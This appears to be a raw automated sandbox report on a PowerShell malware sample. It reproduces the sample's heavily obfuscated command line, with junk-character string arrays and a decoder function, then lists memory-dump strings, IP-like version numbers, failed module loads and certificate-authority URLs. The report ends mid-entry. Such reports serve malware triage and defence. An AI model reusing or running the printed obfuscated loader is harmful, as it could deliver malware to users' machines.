YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S)Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[[Nullable[int]]0]Irremovableness ((Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre'))Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e < uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') Irremovableness Actinism ' DD$U Uf nnoAAArZZZvpppe ;;n ##t!!!eee l vvi .>gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)'Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***regggA vvD]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)')Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[$damevennernes72]}$pisistance=286507Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,uzzzt iIIIo jjnAAA)')Irremovableness (Actinism ';;;$ plllEdLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)')Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)')Irremovableness $kristels;"), Spawned process "powershell.exe" with commandline ""mv 'nonresilience';function Actinism ($radionecrosis252='garraf ..." (UID: 00000000-00004824, Additional Context: "function $futurable=3do { $befolkningseksplosions+=$radionecrosis252[$futurable] 'vvvM|||o y,z & iVVVlWWWliiia////'+= ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0' ( ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An O uuNX X9VVV5') ( 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooovE tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)') ( QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi Nhhhtooom>>>a ||N IIAmmmg E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S) 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[[Nullable[int]]0] (( 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre')) ( 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e < uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ' DD$U Uf nnoAAArZZZvpppe ;;n ##t!!!eee l vvi .>gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)' ( 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***regggA vvD]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)') ( ( '!!!$n nP FFE hhd XI c P s A???l<<>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[$damevennernes72]}$pisistance=286507 ( 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,uzzzt iIIIo jjnAAA)') ( ';;;$ plllEdLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)') ( ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)') $kristels;")48:T7ec,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "function Import-PowerShellDataFile" (Indicator: "Import-PowerShellDataFile"; Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp, 00000000-00004824.00000002.137113.08940000.00000004.mdmp")49:T49c,"2.5.29.37" "2.5.29.35" "192.168.0.2" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "4.0.0.0, Cul" "2.5.29.17" "2.5.29.31" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.1" "2.5.29.14" "2.5.29.15" "2.5.29.19" "2.5.4.3" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.32" "3.0.0.0" "1.1.0.1" Potential IP "4.0.0.0" found in string "Maximum number of drives allowed in a sessionnonon=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" Potential IP "4.0.0.0" found in string "ystem.Configuration,4.0.0.0,,b03f5f7f11d50a3a" "2.5.29.10" "2.5.29.16" "1.3.6.1" "2.5.4.11" "2.5.4.8" "2.5.4.7" "2.5.4.6" "2.5.4.10" "2.5.4.5" Potential IP "1.0.0.1" found in string ":\program files\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1" "1.0.0.1" "11.10.3.6" Potential IP "1.0.0.1" found in string ":\program files (x86)\windowspowershell\modules\powershellget\1.0.0.1\psmodule.psm1"4a:T161b,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135]4b:Taf3b,Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e?azhp/^r0l1" - Source: "00000000-00004824.00000000.133271.02CE9000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004824.00000000.133271.07550000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ep/^r0l1" - Source: "00000000-00004824.00000001.135190.02CE9000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004824.00000001.135190.07550000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut-23.crt08.ekqqqqqqqqqqqqqqqqasyc:onpzonpzqqqqqqqqqqqqqqqq?" - Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0?azhp!g4)9c" - Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623621" - Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f" - Source: "00000000-00004824.00000001.135190.6EDB1000.00000020.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ep/^r0l1" - Source: "00000000-00004824.00000002.137113.02CE9000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut-23.crt08.ekqqqqqqqqasyc:onpzonpzqqqqqqqqqqqqqqqq?" - Source: "00000000-00004824.00000002.137113.08940000.00000004.mdmp") Found URL 